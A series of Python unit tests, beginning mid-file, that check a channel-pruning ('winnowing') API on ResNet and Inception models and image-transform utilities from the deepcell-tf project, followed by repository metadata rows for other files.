input_channels_to_prune)) input_channels_to_prune = [55, 56, 57, 58, 59] list_of_modules_to_winnow.append((model.layer1[1].conv1, input_channels_to_prune)) input_channels_to_prune = [42, 44, 46] list_of_modules_to_winnow.append((model.layer1[0].conv2, input_channels_to_prune)) new_model, _ = winnow_model(model, input_shape, list_of_modules_to_winnow, reshape=True, in_place=False, verbose=True) # compare zeroed out and pruned model output # use double precision for lower absolute error input_tensor = torch.rand(input_shape).double() model.double() model.eval() validation_output = model(input_tensor) # validate winnowed net new_model.double() new_model.eval() test_output = new_model(input_tensor) self.assertTrue(test_output.shape == validation_output.shape) # layer1.0.conv2 input channels pruned from 64 --> 61 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer1[0].conv2.in_channels, 61) self.assertEqual(list(new_model.layer1[0].conv2.weight.shape), [64, 61, 3, 3]) self.assertEqual(new_model.layer1[0].conv1.out_channels, 61) # layer1.1.conv1 output channels pruned from 64 --> 59 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer1[1].conv1[1].in_channels, 251) self.assertEqual(list(new_model.layer1[1].conv1[1].weight.shape), [64, 251, 1, 1]) # layer2.0.conv2 input channels pruned from 128 --> 123 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer2[0].conv2.in_channels, 123) self.assertEqual(list(new_model.layer2[0].conv2.weight.shape), [128, 123, 3, 3]) self.assertEqual(new_model.layer2[0].conv1.out_channels, 123) # layer2.1.conv2 input channels pruned from 128 --> 125 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer2[1].conv2.in_channels, 125) self.assertEqual(list(new_model.layer2[1].conv2.weight.shape), [128, 125, 3, 3]) self.assertEqual(new_model.layer2[1].conv1.out_channels, 125) # layer3.1.conv2 input channels pruned from 256 --> 245 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer3[1].conv2.in_channels, 245) self.assertEqual(list(new_model.layer3[1].conv2.weight.shape), [256, 245, 3, 3]) self.assertEqual(new_model.layer3[1].conv1.out_channels, 245) # layer4.0.conv1 input channels pruned from 256 --> 245 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer4[0].conv1[1].in_channels, 1013) self.assertEqual(list(new_model.layer4[0].conv1[1].weight.shape), [512, 1013, 1, 1]) # layer4.1.conv2 input channels pruned from 512 --> 501 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer4[1].conv2.in_channels, 501) self.assertEqual(list(new_model.layer4[1].conv2.weight.shape), [512, 501, 3, 3]) self.assertEqual(new_model.layer4[1].conv1.out_channels, 501) def test_winnowing_multiple_zeroed_resnet101(self): """ Tests winnowing resnet18 with multiple layers with zero planes. """ model = models.resnet101(pretrained=False) model.eval() input_shape = [1, 3, 224, 224] list_of_modules_to_winnow = [] # For layer4[1].conv2 layer, zero out input channels 5, 9, 14, 18, 23, 27, 32, 36, 41, 44, 54 input_channels_to_prune = [5, 9, 14, 18, 23, 27, 32, 36, 41, 45, 54] list_of_modules_to_winnow.append((model.layer4[1].conv2, input_channels_to_prune)) # For layer4[0].conv1 layer, zero out input channels 5, 9, 14, 18, 23, 27, 32, 36, 41, 44, 54 input_channels_to_prune = [5, 9, 14, 18, 23, 27, 32, 36, 41, 45, 54] list_of_modules_to_winnow.append((model.layer4[0].conv1, input_channels_to_prune)) # For layer3[1].conv2 layer, zero out input channels 15, 29, 24, 28, 33, 47, 2, 3, 1, 5, 9 input_channels_to_prune = [15, 29, 24, 28, 33, 47, 2, 3, 1, 5, 9] list_of_modules_to_winnow.append((model.layer3[1].conv2, input_channels_to_prune)) # For layer2[1].conv2 layer, zero out input channels 33, 44, 55 input_channels_to_prune = [33, 44, 55] list_of_modules_to_winnow.append((model.layer2[1].conv2, input_channels_to_prune)) # For layer2[0].conv2 layer, zero out input channels 1, 12, 13, 14, 15 input_channels_to_prune = [11, 12, 13, 14, 15] list_of_modules_to_winnow.append((model.layer2[0].conv2, input_channels_to_prune)) # For layer1[1].conv1 layer, zero out input channels 55, 56, 57, 58, 59 input_channels_to_prune = [55, 56, 57, 58, 59] list_of_modules_to_winnow.append((model.layer1[1].conv1, input_channels_to_prune)) # For layer1[0].conv2 layer, zero out input channels 42, 44, 36 input_channels_to_prune = [42, 44, 46] list_of_modules_to_winnow.append((model.layer1[0].conv2, input_channels_to_prune)) # Call the Winnow API. new_model, _ = winnow_model(model, input_shape, list_of_modules_to_winnow, reshape=True, in_place=False, verbose=True) input_tensor = torch.rand(input_shape).double() model.double() model.eval() validation_output = model(input_tensor) # validate winnowed net new_model.double() new_model.eval() test_output = new_model(input_tensor) self.assertTrue(test_output.shape == validation_output.shape) # layer1.0.conv2 input channels pruned from 64 --> 61 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer1[0].conv2.in_channels, 61) self.assertEqual(list(new_model.layer1[0].conv2.weight.shape), [64, 61, 3, 3]) self.assertEqual(new_model.layer1[0].conv1.out_channels, 61) # layer1.1.conv1 output channels pruned from 64 --> 59 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer1[1].conv1[1].in_channels, 251) self.assertEqual(list(new_model.layer1[1].conv1[1].weight.shape), [64, 251, 1, 1]) # layer2.0.conv2 input channels pruned from 128 --> 123 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer2[0].conv2.in_channels, 123) self.assertEqual(list(new_model.layer2[0].conv2.weight.shape), [128, 123, 3, 3]) self.assertEqual(new_model.layer2[0].conv1.out_channels, 123) # layer2.1.conv2 input channels pruned from 128 --> 125 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer2[1].conv2.in_channels, 125) self.assertEqual(list(new_model.layer2[1].conv2.weight.shape), [128, 125, 3, 3]) self.assertEqual(new_model.layer2[1].conv1.out_channels, 125) # layer3.1.conv2 input channels pruned from 256 --> 245 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer3[1].conv2.in_channels, 245) self.assertEqual(list(new_model.layer3[1].conv2.weight.shape), [256, 245, 3, 3]) self.assertEqual(new_model.layer3[1].conv1.out_channels, 245) # layer4.0.conv1 input channels pruned from 256 --> 245 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer4[0].conv1[1].in_channels, 1013) self.assertEqual(list(new_model.layer4[0].conv1[1].weight.shape), [512, 1013, 1, 1]) # layer4.1.conv2 input channels pruned from 512 --> 501 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer4[1].conv2.in_channels, 501) self.assertEqual(list(new_model.layer4[1].conv2.weight.shape), [512, 501, 3, 3]) self.assertEqual(new_model.layer4[1].conv1.out_channels, 501) def test_winnowing_multiple_zeroed_resnet152(self): """ Tests winnowing resnet18 with multiple layers with zero planes. """ model = models.resnet152(pretrained=False) model.eval() # Test forward pass on the copied model before zeroing out channels in any layer.. input_shape = [1, 3, 224, 224] list_of_modules_to_winnow = [] # For layer4[1].conv2 layer, zero out input channels 5, 9, 14, 18, 23, 27, 32, 36, 41, 44, 54 input_channels_to_prune = [5, 9, 14, 18, 23, 27, 32, 36, 41, 45, 54] list_of_modules_to_winnow.append((model.layer4[1].conv2, input_channels_to_prune)) # For layer4[0].conv1 layer, zero out input channels 5, 9, 14, 18, 23, 27, 32, 36, 41, 44, 54 input_channels_to_prune = [5, 9, 14, 18, 23, 27, 32, 36, 41, 45, 54] list_of_modules_to_winnow.append((model.layer4[0].conv1, input_channels_to_prune)) # For layer3[1].conv2 layer, zero out input channels 15, 29, 24, 28, 33, 47, 2, 3, 1, 5, 9 input_channels_to_prune = [15, 29, 24, 28, 33, 47, 2, 3, 1, 5, 9] list_of_modules_to_winnow.append((model.layer3[1].conv2, input_channels_to_prune)) # For layer2[1].conv2 layer, zero out input channels 33, 44, 55 input_channels_to_prune = [33, 44, 55] list_of_modules_to_winnow.append((model.layer2[1].conv2, input_channels_to_prune)) # For layer2[0].conv2 layer, zero out input channels 1, 12, 13, 14, 15 input_channels_to_prune = [11, 12, 13, 14, 15] list_of_modules_to_winnow.append((model.layer2[0].conv2, input_channels_to_prune)) # For layer1[1].conv1 layer, zero out input channels 55, 56, 57, 58, 59 input_channels_to_prune = [55, 56, 57, 58, 59] list_of_modules_to_winnow.append((model.layer1[1].conv1, input_channels_to_prune)) # For layer1[0].conv2 layer, zero out input channels 42, 44, 36 input_channels_to_prune = [42, 44, 46] list_of_modules_to_winnow.append((model.layer1[0].conv2, input_channels_to_prune)) # Call the Winnow API. new_model, _ = winnow_model(model, input_shape, list_of_modules_to_winnow, reshape=True, in_place=False, verbose=True) # compare zeroed out and pruned model output: # use double precision for lower absolute error input_tensor = torch.rand(input_shape).double() model.double() model.eval() validation_output = model(input_tensor) # validate winnowed net new_model.double() new_model.eval() test_output = new_model(input_tensor) self.assertTrue(test_output.shape == validation_output.shape) # layer1.0.conv2 input channels pruned from 64 --> 61 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer1[0].conv2.in_channels, 61) self.assertEqual(list(new_model.layer1[0].conv2.weight.shape), [64, 61, 3, 3]) self.assertEqual(new_model.layer1[0].conv1.out_channels, 61) # layer1.1.conv1 output channels pruned from 64 --> 59 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer1[1].conv1[1].in_channels, 251) self.assertEqual(list(new_model.layer1[1].conv1[1].weight.shape), [64, 251, 1, 1]) # layer2.0.conv2 input channels pruned from 128 --> 123 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer2[0].conv2.in_channels, 123) self.assertEqual(list(new_model.layer2[0].conv2.weight.shape), [128, 123, 3, 3]) self.assertEqual(new_model.layer2[0].conv1.out_channels, 123) # layer2.1.conv2 input channels pruned from 128 --> 125 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer2[1].conv2.in_channels, 125) self.assertEqual(list(new_model.layer2[1].conv2.weight.shape), [128, 125, 3, 3]) self.assertEqual(new_model.layer2[1].conv1.out_channels, 125) # layer3.1.conv2 input channels pruned from 256 --> 245 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer3[1].conv2.in_channels, 245) self.assertEqual(list(new_model.layer3[1].conv2.weight.shape), [256, 245, 3, 3]) self.assertEqual(new_model.layer3[1].conv1.out_channels, 245) # layer4.0.conv1 input channels pruned from 256 --> 245 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer4[0].conv1[1].in_channels, 1013) self.assertEqual(list(new_model.layer4[0].conv1[1].weight.shape), [512, 1013, 1, 1]) # layer4.1.conv2 input channels pruned from 512 --> 501 # weight (Tensor) : [out_channels, in_channels, kernel_size, kernel_size] self.assertEqual(new_model.layer4[1].conv2.in_channels, 501) self.assertEqual(list(new_model.layer4[1].conv2.weight.shape), [512, 501, 3, 3]) self.assertEqual(new_model.layer4[1].conv1.out_channels, 501) def test_inception_model_conv_below_conv(self): """ Test winnowing inception model conv below conv """ # These modules are included as a hack to allow tests using inception model to pass, # as the model uses functionals instead of modules. OpConnectivity.pytorch_dict['relu'] = ConnectivityType.direct OpConnectivity.pytorch_dict['max_pool2d'] = ConnectivityType.direct OpConnectivity.pytorch_dict['avg_pool2d'] = ConnectivityType.direct OpConnectivity.pytorch_dict['adaptive_avg_pool2d'] = ConnectivityType.direct OpConnectivity.pytorch_dict['dropout'] = ConnectivityType.direct OpConnectivity.pytorch_dict['flatten'] = ConnectivityType.skip model = models.Inception3() model.eval() input_shape = [1, 3, 299, 299] input_channels_to_prune = [1, 3, 5, 7, 9, 15, 32, 45] list_of_modules_to_winnow = [(model.Mixed_5b.branch3x3dbl_2.conv, input_channels_to_prune)] print(model.Mixed_5b.branch3x3dbl_1.conv.out_channels) new_model, _ = winnow_model(model, input_shape, list_of_modules_to_winnow, reshape=True, in_place=False, verbose=True) self.assertEqual(new_model.Mixed_5b.branch3x3dbl_1.conv.out_channels, 56) self.assertEqual(list(new_model.Mixed_5b.branch3x3dbl_1.conv.weight.shape), [56, 192, 1, 1]) del model del new_model def test_inception_model_conv_below_split(self): """ Test winnowing inception model with conv below split """ # These modules are included as a hack to allow tests using inception model to pass, # as the model uses functionals instead of modules. OpConnectivity.pytorch_dict['relu'] = ConnectivityType.direct OpConnectivity.pytorch_dict['max_pool2d'] = ConnectivityType.direct OpConnectivity.pytorch_dict['avg_pool2d'] = ConnectivityType.direct OpConnectivity.pytorch_dict['adaptive_avg_pool2d'] = ConnectivityType.direct OpConnectivity.pytorch_dict['dropout'] = ConnectivityType.direct OpConnectivity.pytorch_dict['flatten'] = ConnectivityType.skip model = models.Inception3() model.eval() input_shape = [1, 3, 299, 299] input_channels_to_prune = [1, 3, 5, 7, 9, 15, 32, 45] list_of_modules_to_winnow = [(model.Mixed_5b.branch3x3dbl_1.conv, input_channels_to_prune)] print(model.Mixed_5b.branch3x3dbl_1.conv.out_channels) # Call the Winnow API. new_model, _ = winnow_model(model, input_shape, list_of_modules_to_winnow, reshape=True, in_place=False, verbose=True) del model del new_model model = models.Inception3() model.eval() input_shape = [1, 3, 299, 299] input_channels_to_prune = [1, 3, 5, 7, 9, 15, 32, 45] list_of_modules_to_winnow = [(model.Mixed_5b.branch1x1.conv, input_channels_to_prune)] print(model.Mixed_5b.branch3x3dbl_1.conv.out_channels) # Call the Winnow API. new_model, _ = winnow_model(model, input_shape, list_of_modules_to_winnow, reshape=True, in_place=False, verbose=True) del model del new_model self.assertEqual(0, 0) def test_inception_model_conv_below_avgpool(self): """ Test winnowing inception model with conv below avgpool """ # These modules are included as a hack to allow tests using inception model to pass, # as the model uses functionals instead of modules. OpConnectivity.pytorch_dict['relu'] = ConnectivityType.direct OpConnectivity.pytorch_dict['max_pool2d'] = ConnectivityType.direct OpConnectivity.pytorch_dict['avg_pool2d'] = ConnectivityType.direct OpConnectivity.pytorch_dict['adaptive_avg_pool2d'] = ConnectivityType.direct OpConnectivity.pytorch_dict['dropout'] = ConnectivityType.direct OpConnectivity.pytorch_dict['flatten'] = ConnectivityType.skip model = models.Inception3() model.eval() input_shape = [1, 3, 299, 299] input_channels_to_prune = [1, 3, 5, 7, 9, 15, 32, 45] list_of_modules_to_winnow = [(model.Mixed_5b.branch_pool.conv, input_channels_to_prune)] print(model.Mixed_5b.branch_pool.conv) print(model.Mixed_5b.branch_pool.conv.out_channels, model.Mixed_5b.branch_pool.conv.in_channels) # Call the Winnow API. new_model, _ = winnow_model(model, input_shape, list_of_modules_to_winnow, reshape=True, in_place=False, verbose=True) self.assertEqual(new_model.Mixed_5b.branch_pool.conv[1].out_channels, 32) self.assertEqual(list(new_model.Mixed_5b.branch_pool.conv[1].weight.shape), [32, 184, 1, 1]) del model del new_model

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11312f55bfe57e8bcecfc32f11fdb8175ac90757

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Python

deepcell/utils/transform_utils_test.py

jizhouh/deepcell-tf

491ece59f5024d73429477ebdcb437a6e67d766b

[ "Apache-2.0" ]

250

2018-09-19T23:55:06.000Z

2022-03-30T02:20:52.000Z

deepcell/utils/transform_utils_test.py

jizhouh/deepcell-tf

491ece59f5024d73429477ebdcb437a6e67d766b

[ "Apache-2.0" ]

251

2018-09-21T17:09:43.000Z

2022-02-28T19:04:50.000Z

deepcell/utils/transform_utils_test.py

jizhouh/deepcell-tf

491ece59f5024d73429477ebdcb437a6e67d766b

[ "Apache-2.0" ]

64

2018-11-29T15:22:15.000Z

2022-03-21T03:37:43.000Z

# Copyright 2016-2021 The Van Valen Lab at the California Institute of # Technology (Caltech), with support from the Paul Allen Family Foundation, # Google, & National Institutes of Health (NIH) under Grant U24CA224309-01. # All rights reserved. # # Licensed under a modified Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.github.com/vanvalenlab/deepcell-tf/LICENSE # # The Work provided may be used for non-commercial academic purposes only. # For any other use of the Work, including commercial use, please contact: # vanvalenlab@gmail.com # # Neither the name of Caltech nor the names of its contributors may be used # to endorse or promote products derived from this software without specific # prior written permission. # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for transform_utils""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from skimage.measure import label from tensorflow.python.platform import test from tensorflow.keras import backend as K from deepcell.utils import transform_utils def _get_image(img_h=300, img_w=300): bias = np.random.rand(img_w, img_h) * 64 variance = np.random.rand(img_w, img_h) * (255 - 64) img = np.random.rand(img_w, img_h) * variance + bias return img def _generate_test_masks(): img_w = img_h = 30 mask_images = [] for _ in range(8): imarray = np.random.randint(2, size=(img_w, img_h, 1)) mask_images.append(imarray) return mask_images class TransformUtilsTest(test.TestCase): def test_pixelwise_transform_2d(self): with self.cached_session(): K.set_image_data_format('channels_last') # test single edge class for img in _generate_test_masks(): img = label(img) img = np.squeeze(img) pw_img = transform_utils.pixelwise_transform( img, data_format=None, separate_edge_classes=False) pw_img_dil = transform_utils.pixelwise_transform( img, dilation_radius=1, data_format='channels_last', separate_edge_classes=False) self.assertEqual(pw_img.shape[-1], 3) self.assertEqual(pw_img_dil.shape[-1], 3) assert(np.all(np.equal(pw_img[..., 0] + pw_img[..., 1], img > 0))) self.assertGreater( pw_img_dil[..., 0].sum() + pw_img_dil[..., 1].sum(), pw_img[..., 0].sum() + pw_img[..., 1].sum()) # test separate edge classes for img in _generate_test_masks(): img = label(img) img = np.squeeze(img) pw_img = transform_utils.pixelwise_transform( img, data_format=None, separate_edge_classes=True) pw_img_dil = transform_utils.pixelwise_transform( img, dilation_radius=1, data_format='channels_last', separate_edge_classes=True) self.assertEqual(pw_img.shape[-1], 4) self.assertEqual(pw_img_dil.shape[-1], 4) assert(np.all(np.equal(pw_img[..., 0] + pw_img[..., 1] + pw_img[..., 2], img > 0))) self.assertGreater( pw_img_dil[..., 0].sum() + pw_img_dil[..., 1].sum(), pw_img[..., 0].sum() + pw_img[..., 1].sum()) def test_pixelwise_transform_3d(self): frames = 10 img_list = [] for img in _generate_test_masks(): frame_list = [] for _ in range(frames): frame_list.append(label(img)) img_stack = np.array(frame_list) img_list.append(img_stack) with self.cached_session(): K.set_image_data_format('channels_last') # test single edge class maskstack = np.vstack(img_list) batch_count = maskstack.shape[0] // frames new_shape = tuple([batch_count, frames] + list(maskstack.shape[1:])) maskstack = np.reshape(maskstack, new_shape) for i in range(maskstack.shape[0]): img = maskstack[i, ...] img = np.squeeze(img) pw_img = transform_utils.pixelwise_transform( img, data_format=None, separate_edge_classes=False) pw_img_dil = transform_utils.pixelwise_transform( img, dilation_radius=2, data_format='channels_last', separate_edge_classes=False) self.assertEqual(pw_img.shape[-1], 3) self.assertEqual(pw_img_dil.shape[-1], 3) assert(np.all(np.equal(pw_img[..., 0] + pw_img[..., 1], img > 0))) self.assertGreater( pw_img_dil[..., 0].sum() + pw_img_dil[..., 1].sum(), pw_img[..., 0].sum() + pw_img[..., 1].sum()) # test separate edge classes maskstack = np.vstack(img_list) batch_count = maskstack.shape[0] // frames new_shape = tuple([batch_count, frames] + list(maskstack.shape[1:])) maskstack = np.reshape(maskstack, new_shape) for i in range(maskstack.shape[0]): img = maskstack[i, ...] img = np.squeeze(img) pw_img = transform_utils.pixelwise_transform( img, data_format=None, separate_edge_classes=True) pw_img_dil = transform_utils.pixelwise_transform( img, dilation_radius=2, data_format='channels_last', separate_edge_classes=True) self.assertEqual(pw_img.shape[-1], 4) self.assertEqual(pw_img_dil.shape[-1], 4) assert(np.all(np.equal(pw_img[..., 0] + pw_img[..., 1] + pw_img[..., 2], img > 0))) self.assertGreater( pw_img_dil[..., 0].sum() + pw_img_dil[..., 1].sum(), pw_img[..., 0].sum() + pw_img[..., 1].sum()) def test_outer_distance_transform_2d(self): for img in _generate_test_masks(): K.set_image_data_format('channels_last') bins = None distance = transform_utils.outer_distance_transform_2d(img, bins=bins) self.assertEqual(np.expand_dims(distance, axis=-1).shape, img.shape) bins = 3 distance = transform_utils.outer_distance_transform_2d(img, bins=bins) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2])) self.assertEqual(np.expand_dims(distance, axis=-1).shape, img.shape) bins = 4 distance = transform_utils.outer_distance_transform_2d(img, bins=bins) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2, 3])) self.assertEqual(np.expand_dims(distance, axis=-1).shape, img.shape) K.set_image_data_format('channels_first') img = np.rollaxis(img, -1, 1) bins = None distance = transform_utils.outer_distance_transform_2d(img, bins=bins) self.assertEqual(np.expand_dims(distance, axis=1).shape, img.shape) bins = 3 distance = transform_utils.outer_distance_transform_2d(img, bins=bins) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2])) self.assertEqual(np.expand_dims(distance, axis=1).shape, img.shape) bins = 4 distance = transform_utils.outer_distance_transform_2d(img, bins=bins) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2, 3])) self.assertEqual(np.expand_dims(distance, axis=1).shape, img.shape) def test_outer_distance_transform_3d(self): mask_stack = np.array(_generate_test_masks()) unique = np.zeros(mask_stack.shape) for i, mask in enumerate(_generate_test_masks()): unique[i] = label(mask) K.set_image_data_format('channels_last') bins = None distance = transform_utils.outer_distance_transform_3d(unique, bins=bins) self.assertEqual(np.expand_dims(distance, axis=-1).shape, unique.shape) bins = 3 distance = transform_utils.outer_distance_transform_3d(unique, bins=bins) distance = np.expand_dims(distance, axis=-1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2])) self.assertEqual(distance.shape, unique.shape) bins = 4 distance = transform_utils.outer_distance_transform_3d(unique, bins=bins) distance = np.expand_dims(distance, axis=-1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2, 3])) self.assertEqual(distance.shape, unique.shape) K.set_image_data_format('channels_first') unique = np.rollaxis(unique, -1, 1) bins = None distance = transform_utils.outer_distance_transform_3d(unique, bins=bins) self.assertEqual(np.expand_dims(distance, axis=1).shape, unique.shape) bins = 3 distance = transform_utils.outer_distance_transform_3d(unique, bins=bins) distance = np.expand_dims(distance, axis=1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2])) self.assertEqual(distance.shape, unique.shape) bins = 4 distance = transform_utils.outer_distance_transform_3d(unique, bins=bins) distance = np.expand_dims(distance, axis=1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2, 3])) self.assertEqual(distance.shape, unique.shape) def test_outer_distance_transform_movie(self): mask_stack = np.array(_generate_test_masks()) unique = np.zeros(mask_stack.shape) for i, mask in enumerate(_generate_test_masks()): unique[i] = label(mask) K.set_image_data_format('channels_last') bins = None distance = transform_utils.outer_distance_transform_movie(unique, bins=bins) self.assertEqual(np.expand_dims(distance, axis=-1).shape, unique.shape) bins = 3 distance = transform_utils.outer_distance_transform_movie(unique, bins=bins) distance = np.expand_dims(distance, axis=-1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2])) self.assertEqual(distance.shape, unique.shape) bins = 4 distance = transform_utils.outer_distance_transform_movie(unique, bins=bins) distance = np.expand_dims(distance, axis=-1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2, 3])) self.assertEqual(distance.shape, unique.shape) K.set_image_data_format('channels_first') unique = np.rollaxis(unique, -1, 1) bins = None distance = transform_utils.outer_distance_transform_movie(unique, bins=bins) self.assertEqual(np.expand_dims(distance, axis=1).shape, unique.shape) bins = 3 distance = transform_utils.outer_distance_transform_movie(unique, bins=bins) distance = np.expand_dims(distance, axis=1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2])) self.assertEqual(distance.shape, unique.shape) bins = 4 distance = transform_utils.outer_distance_transform_movie(unique, bins=bins) distance = np.expand_dims(distance, axis=1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2, 3])) self.assertEqual(distance.shape, unique.shape) def test_inner_distance_transform_2d(self): for img in _generate_test_masks(): K.set_image_data_format('channels_last') bins = None distance = transform_utils.inner_distance_transform_2d(img, bins=bins) self.assertEqual(np.expand_dims(distance, axis=-1).shape, img.shape) bins = 3 distance = transform_utils.inner_distance_transform_2d(img, bins=bins) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2])) self.assertEqual(np.expand_dims(distance, axis=-1).shape, img.shape) bins = 4 distance = transform_utils.inner_distance_transform_2d(img, bins=bins) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2, 3])) self.assertEqual(np.expand_dims(distance, axis=-1).shape, img.shape) K.set_image_data_format('channels_first') img = np.rollaxis(img, -1, 1) bins = None distance = transform_utils.inner_distance_transform_2d(img, bins=bins) self.assertEqual(np.expand_dims(distance, axis=1).shape, img.shape) bins = 3 distance = transform_utils.inner_distance_transform_2d(img, bins=bins) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2])) self.assertEqual(np.expand_dims(distance, axis=1).shape, img.shape) bins = 4 distance = transform_utils.inner_distance_transform_2d(img, bins=bins) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2, 3])) self.assertEqual(np.expand_dims(distance, axis=1).shape, img.shape) def test_inner_distance_transform_3d(self): mask_stack = np.array(_generate_test_masks()) unique = np.zeros(mask_stack.shape) for i, mask in enumerate(_generate_test_masks()): unique[i] = label(mask) K.set_image_data_format('channels_last') bins = None distance = transform_utils.inner_distance_transform_3d(unique, bins=bins) self.assertEqual(np.expand_dims(distance, axis=-1).shape, unique.shape) bins = 3 distance = transform_utils.inner_distance_transform_3d(unique, bins=bins) distance = np.expand_dims(distance, axis=-1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2])) self.assertEqual(distance.shape, unique.shape) bins = 4 distance = transform_utils.inner_distance_transform_3d(unique, bins=bins) distance = np.expand_dims(distance, axis=-1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2, 3])) self.assertEqual(distance.shape, unique.shape) K.set_image_data_format('channels_first') unique = np.rollaxis(unique, -1, 1) bins = None distance = transform_utils.inner_distance_transform_3d(unique, bins=bins) self.assertEqual(np.expand_dims(distance, axis=1).shape, unique.shape) bins = 3 distance = transform_utils.inner_distance_transform_3d(unique, bins=bins) distance = np.expand_dims(distance, axis=1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2])) self.assertEqual(distance.shape, unique.shape) bins = 4 distance = transform_utils.inner_distance_transform_3d(unique, bins=bins) distance = np.expand_dims(distance, axis=1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2, 3])) self.assertEqual(distance.shape, unique.shape) def test_inner_distance_transform_movie(self): mask_stack = np.array(_generate_test_masks()) unique = np.zeros(mask_stack.shape) for i, mask in enumerate(_generate_test_masks()): unique[i] = label(mask) K.set_image_data_format('channels_last') bins = None distance = transform_utils.inner_distance_transform_movie(unique, bins=bins) self.assertEqual(np.expand_dims(distance, axis=-1).shape, unique.shape) bins = 3 distance = transform_utils.inner_distance_transform_movie(unique, bins=bins) distance = np.expand_dims(distance, axis=-1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2])) self.assertEqual(distance.shape, unique.shape) bins = 4 distance = transform_utils.inner_distance_transform_movie(unique, bins=bins) distance = np.expand_dims(distance, axis=-1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2, 3])) self.assertEqual(distance.shape, unique.shape) K.set_image_data_format('channels_first') unique = np.rollaxis(unique, -1, 1) bins = None distance = transform_utils.inner_distance_transform_movie(unique, bins=bins) self.assertEqual(np.expand_dims(distance, axis=1).shape, unique.shape) bins = 3 distance = transform_utils.inner_distance_transform_movie(unique, bins=bins) distance = np.expand_dims(distance, axis=1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2])) self.assertEqual(distance.shape, unique.shape) bins = 4 distance = transform_utils.inner_distance_transform_movie(unique, bins=bins) distance = np.expand_dims(distance, axis=1) self.assertAllEqual(np.unique(distance), np.array([0, 1, 2, 3])) self.assertEqual(distance.shape, unique.shape) if __name__ == '__main__': test.main()

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src/mbinobs/__init__.py

ManuelMaM/IPfuscation

3d7ba78b2b152ae104e1c9ed1632c15aa02c35bb

[ "MIT" ]

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src/mbinobs/__init__.py

ManuelMaM/IPfuscation

3d7ba78b2b152ae104e1c9ed1632c15aa02c35bb

[ "MIT" ]

null

src/mbinobs/__init__.py

ManuelMaM/IPfuscation

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Python

demos/python_demos/accuracy_checker/tests/test_metric_evaluator.py

undeadinu/open_model_zoo

db4757112bfe3bd66ad4977fcfec08a55ef02d1f

[ "Apache-2.0" ]

1

2019-10-19T23:43:48.000Z

demos/python_demos/accuracy_checker/tests/test_metric_evaluator.py

undeadinu/open_model_zoo

db4757112bfe3bd66ad4977fcfec08a55ef02d1f

[ "Apache-2.0" ]

null

demos/python_demos/accuracy_checker/tests/test_metric_evaluator.py

undeadinu/open_model_zoo

db4757112bfe3bd66ad4977fcfec08a55ef02d1f

[ "Apache-2.0" ]

1

2019-10-19T23:43:52.000Z

